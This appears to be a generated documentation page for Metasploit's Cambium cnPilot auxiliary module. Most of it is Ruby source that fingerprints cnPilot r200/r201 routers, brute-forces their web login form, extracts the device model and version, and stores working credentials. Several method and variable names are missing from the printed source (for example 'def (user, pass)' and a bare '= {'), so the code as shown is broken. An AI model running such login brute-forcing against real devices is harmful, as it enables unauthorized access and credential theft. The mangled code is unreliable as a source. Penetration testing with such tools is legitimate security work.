Module: Msf::Auxiliary::CNPILOT

Includes:
AuthBrute, Report, Scanner, Exploit::Remote::HttpClient
Defined in:
lib/msf/core/auxiliary/cnpilot.rb

Instance Attribute Summary

Attributes included from Exploit::Remote::HttpClient

#client, #cookie_jar

Instance Method Summary collapse

Methods included from Scanner

#add_delay_jitter, #check, #fail_with, #has_check?, #has_fatal_errors?, #initialize, #peer, #run, #scanner_handle_fatal_errors, #scanner_progress, #scanner_show_progress, #seppuko!

Methods included from Report

#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot

Methods included from Metasploit::Framework::Require

optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines

Methods included from AuthBrute

#adjust_credentials_by_max_user, #build_brute_message, #build_credential_collection, #build_credentials_array, #cleanup_files, #combine_users_and_passwords, #counters_expired?, #each_ntlm_cred, #each_password_cred, #each_ssh_cred, #each_user_pass, #each_username_cred, #extract_word_pair, #extract_word_pair_from_memory, #extract_words, #gen_blank_passwords, #gen_user_as_password, #get_object_from_memory_location, #initialize, #initialize_class_variables, #just_uniq_passwords, #just_uniq_users, #load_password_vars, #load_user_vars, #prepend_chosen_password, #prepend_chosen_username, #prepend_db_creds?, #prepend_db_hashes, #prepend_db_keys, #prepend_db_passwords, #prepend_db_usernames, #print_brute, #process_cred_for_collection, #proto_from_fullname, #setup, #translate_proto_datastores, #tried_over_total, #userpass_interval, #userpass_sleep_interval, #vprint_brute, #vprint_error, #vprint_good, #vprint_status

Methods included from LoginScanner

#configure_login_scanner

Methods included from Exploit::Remote::HttpClient

#basic_auth, #cleanup, #configure_http_login_scanner, #connect, #connect_ws, #deregister_http_client_options, #disconnect, #download, #full_uri, #handler, #http_fingerprint, #initialize, #lookup_http_fingerprints, #normalize_uri, #path_from_uri, #peer, #proxies, #reconfig_redirect_opts!, #request_opts_from_url, #request_url, #rhost, #rport, #send_request_cgi, #send_request_cgi!, #send_request_raw, #service_details, #setup, #ssl, #ssl_version, #strip_tags, #target_uri, #validate_fingerprint, #vhost

Instance Method Details

#do_login(user, pass) ⇒ Object

Brute-force the login page



81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
# File 'lib/msf/core/auxiliary/cnpilot.rb', line 81

def (user, pass)
  print_status("#{rhost}:#{rport} - Attempting to login...")

  res = send_request_cgi(
    {
      'uri' => '/goform/websLogin',
      'method' => 'POST',
      'headers' => {
        'Accept' => 'application/json, text/javascript, */*; q=0.01'
      },
      'vars_post' =>
        {
          'user_name' => user,
          'password' => pass
        }
    }
  )

  good_response = (
    res &&
    res.code == 302 &&
    res.headers.include?('Location') &&
    res.headers['Location'].include?('Status_Basic')
  )

  if good_response
    print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")

    # Extract device model
    the_cookie = res.get_cookies

    res = send_request_cgi(
      {
        'uri' => '/status/Status_Basic.asp',
        'method' => 'GET',
        'cookie' => the_cookie,
        'headers' => {
          'Accept' => 'application/json, text/javascript, */*; q=0.01'
        }
      }
    )

    good_response = (
      res &&
      res.code == 200 &&
      res.headers.include?('Server') &&
      (res.headers['Server'].include?('GoAhead-Webs') && res.body.include?('cnPilot') && res.body.include?('style_CAMBIUM.css'))
    )

    if good_response
      get_cnpilot_model = res.body.match(/device_name= (.*)/)
      get_cnpilot_version_html = Nokogiri::HTML(res.body)
      get_cnpilot_version = get_cnpilot_version_html.at_css('div#statusInfo').text
      cnpilot_version = "#{get_cnpilot_version}".match(/p;(.*?)[$<\/]/)[1]

      if !get_cnpilot_model.nil?
        cnpilot_model = "#{get_cnpilot_model}".match(/[$"](.*)[$"]/)[1]

        if !cnpilot_model.nil?
          print_status("Running cnPilot #{cnpilot_model} #{cnpilot_version}")
          report_cred(
            ip: rhost,
            port: rport,
            service_name: "Cambium #{cnpilot_model} #{cnpilot_version}",
            user: user,
            password: pass
          )
        else
          print_status("Running cnPilot #{cnpilot_version}")
          report_cred(
            ip: rhost,
            port: rport,
            service_name: 'Cambium cnPilot #{cnpilot_version}',
            user: user,
            password: pass
          )
        end
        return the_cookie, cnpilot_version
      end
    end
  else
    print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
    the_cookie = 'skip'
    cnpilot_version = 'skip'
    return the_cookie, cnpilot_version
  end
end

#is_app_cnpilot?Boolean

Check if App is Cambium cnPilot

Returns:

  • (Boolean)


46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/msf/core/auxiliary/cnpilot.rb', line 46

def is_app_cnpilot?
  begin
    res = send_request_cgi(
      {
        'uri'       => '/index.asp',
        'method'    => 'GET'
      }
    )

  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
    print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
    return false
  end

  good_response = (
    res &&
    res.code == 200 &&
    res.headers['Server'] &&
    (res.headers['Server'].include?('GoAhead-Webs') && res.body.include?('cnPilot') && res.body.include?('style_CAMBIUM.css'))
  )

  if good_response
    print_good("#{rhost}:#{rport} - Cambium cnPilot confirmed...")
    
    return true
  else
    print_error("#{rhost}:#{rport} - Target does not appear to be Cambium cnPilot r200/r201. Module will not continue.")
    return false
  end
end

#report_cred(opts) ⇒ Object



15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# File 'lib/msf/core/auxiliary/cnpilot.rb', line 15

def report_cred(opts)
  service_data = {
    address: opts[:ip],
    port: opts[:port],
    service_name: opts[:service_name],
    protocol: 'tcp',
    workspace_id: myworkspace_id
  }

  credential_data = {
    origin_type: :service,
    module_fullname: fullname,
    username: opts[:user],
    private_data: opts[:password],
    private_type: :password
  }.merge(service_data)

   = {
    last_attempted_at: Time.now,
    core: create_credential(credential_data),
    status: Metasploit::Model::Login::Status::SUCCESSFUL,
    proof: opts[:proof]
  }.merge(service_data)

  ()
end